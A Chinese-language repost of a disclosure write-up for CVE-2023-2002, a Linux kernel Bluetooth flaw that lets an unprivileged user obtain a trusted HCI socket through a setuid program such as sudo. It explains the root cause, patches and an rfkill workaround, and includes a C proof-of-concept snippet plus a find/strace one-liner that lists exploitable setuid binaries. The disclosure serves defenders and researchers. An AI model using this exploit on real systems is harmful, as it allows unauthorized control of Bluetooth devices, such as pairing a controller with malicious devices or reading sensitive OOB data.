【CVE-2023-2002】Linux 蓝牙 - 以非特权用户身份运行任意管理命令

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/lrh2000/CVE-2023-2002

Linux 蓝牙:未经授权的管理命令执行 (CVE-2023-2002)

在 Linux 内核的蓝牙子系统中发现了一个权限不足的问题,当处理 HCI 套接字的 ioctl 系统调用时会出现问题。这会导致没有适当的 CAP_NET_ADMIN 权限的任务可以轻松地将 HCI 套接字标记为 “受信任”。受信任的套接字旨在启用发送和接收管理命令和事件,例如配对或连接到新设备。因此,非特权用户可以获取一个受信任的套接字,导致未经授权执行管理命令。利用漏洞仅需要存在一组常用的 setuid 程序(例如 su、sudo)。

原因

漏洞的直接原因是以下代码段:

static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
                          unsigned long arg)
{
	...
        if (hci_sock_gen_cookie(sk)) {
		...
                if (capable(CAP_NET_ADMIN))
                        hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
		...
        }
	...
}

ioctl 系统调用的实现会验证调用者是否具有必要的 CAP_NET_ADMIN 权限以更新 HCI_SOCK_TRUSTED 标志。然而,这个检查只考虑调用任务,而调用任务可能并不一定是套接字打开者。例如,套接字可以使用 fork 和 execve 与另一个任务共享,后者可能具有特权,例如 setuid 程序。此外,如果套接字用作 stdout 或 stderr,则会发出 ioctl 调用以获取 tty 参数,这可以通过 strace 命令进行验证。

# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305])            = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0

tty 参数的 ioctl 调用永远不会在 HCI 套接字上成功,但它们足以将 HCI 套接字标记为受信任。因此,非特权程序可以持有受信任的 HCI 套接字,使其能够发送和接收管理命令和事件,因为受信任的标志永远不会被清除。

漏洞利用

利用方法如下所示:

int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);

    /* 通过使用 HCI socket 作为 stderr 执行 sudo 命令,ioctl 系统调用会使 HCI socket 变为特权 (即设置 HCI_SOCK_TRUSTED 标志位)。 */
    int pid = fork();
    if (pid == 0) {
        dup2(fd, 2);
        close(fd);
        execlp("sudo", "sudo");
    }

    waitpid(pid, NULL, 0);

    struct sockaddr_hci haddr;
    haddr.hci_family = AF_BLUETOOTH;
    haddr.hci_dev = HCI_DEV_NONE;
    haddr.hci_channel = HCI_CHANNEL_CONTROL;

    /* 此时,socket 还未绑定。可以将其绑定到管理通道。此后,HCI_SOCK_TRUSTED 标志位仍然存在,因为它实际上永远不会被清除。 */
    bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));

此外,btmon 可以用于确认 socket 已被授予特权,并且后续的管理命令将成功执行:

# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
        Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
      Set Powered (0x0005) plen 4
        Status: Success (0x00)

可以在 GitHub 上找到完整的 PoC 利用程序,用于更改蓝牙设备的电源状态。

影响

如果成功利用,该漏洞有可能危及蓝牙通信的机密性、完整性和可用性。攻击者可以利用此漏洞将控制器与恶意设备配对,即使蓝牙服务已禁用或未安装也可以做到。还可以防止特定设备进行配对或读取一些敏感信息,如OOB数据。

受影响范围

自Linux内核4.9版本以来,已经存在可利用的漏洞。更具体地说,它在提交f81f5b2db869(“Bluetooth:为HCI原始套接字发送控制打开和关闭消息”)之后成为可利用的。在此提交之前,利用此漏洞需要欺骗特权程序来绑定HCI套接字,在实践中非常困难(如果不是不可能)。但是,在提交之后,仅需要欺骗特权程序调用ioctl系统调用,该系统调用仅依赖于存在setuid程序,如上面所示。

只要有具备CAP_NET_ADMIN特权的setuid程序(或更准确地说,程序调用标准输入、标准输出或标准错误的ioctl),利用就会起作用。在大多数Linux发行版中,可以进行一个快速(但非常粗略)的测试,发现相当多的setuid程序正在使用ioctl系统调用,这些调用在下表中标有“V”:

# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd

经过手动检查strace输出,发现所有这些ioctl用户都在stdin、stdout或stderr上使用ioctl调用以获取或设置某些tty参数。请注意,这些setuid程序没有传递任何参数。如果传递了一些精心制作的参数,则ioctl用户的数量可能会增加。因此,许多Linux发行版可能会受到攻击。

另外需要注意的是,Android设备不太可能受到影响,因为攻击需要存在setuid程序,而Android在一段时间内已经避免使用了这种方式。此外,在Android上没有具有CAP_NET_ADMIN功能的应用程序。

缓解

已经在linux-bluetooth邮件列表中发布了一个补丁,通过将capable()替换为sk_capable()来修复此漏洞,其中sk_capable()不仅检查当前任务,还检查套接字打开者是否具有所需的能力。同时,另一个提交的补丁在hci_sock_ioctl()的开始处检查命令的有效性,并在执行任何操作之前立即返回一个ENOIOCTLCMD错误代码,如果命令无效。

作为一种解决方法,如果蓝牙设备根本没有被使用(但物理上无法移除设备),则可以使用rfkill来阻止设备的使用,从而防止设备被启动。通过这样做,向蓝牙设备发送管理命令将无法成功。这可以显著减少此漏洞的影响。

未来避免类似漏洞的方法有两种:加强Linux内核和加强用户空间的setuid程序。

  • 在Linux内核中有许多使用capable()的用途,用于检查当前任务的能力,但并未针对文件或套接字打开者进行任何操作。在许多情况下,还可以合理地检查打开者的能力。然而,添加更多的能力检查可能会导致意外的退化,虽然在撰写本文时尚未看到这种情况的例子。
  • 标准输入(stdin)、标准输出(stdout)和标准错误(stderr)与其他文件描述符不同,因为它们是从父任务继承的,但直接由当前任务使用。对于特权的setuid程序,可能需要将继承的文件描述符视为不可信。因此,在调用这些不可信文件描述符的系统调用时,明确地放弃特权也是合理的。

关联

此漏洞与 CVE-2014-0181 原理完全相同。在 CVE-2014-0181 中,问题在于缺乏基于套接字 opener 的授权机制,允许本地用户通过使用 Netlink 套接字作为 setuid 程序的 stdout 或 stderr 来修改网络配置。

时间线

2023-04-04: 我在审计 Linux 内核中的蓝牙协议栈期间发现了此漏洞。

2023-04-09: 我向 Linux 内核安全团队和发行版供应商报告了此漏洞,并提供了初始版本的补丁。

2023-04-12: 此漏洞已被分配 CVE ID,即 CVE-2023-2002。

2023-04-13: 经过几天的与维护者的讨论,补丁已相应更新。

2023-04-16: 漏洞已在公共 oss-security 邮件列表 和 GitHub 上披露。两个补丁已发布到公共的 linux-bluetooth 邮件列表中(第一个补丁第二个补丁)。

标签:POC脚本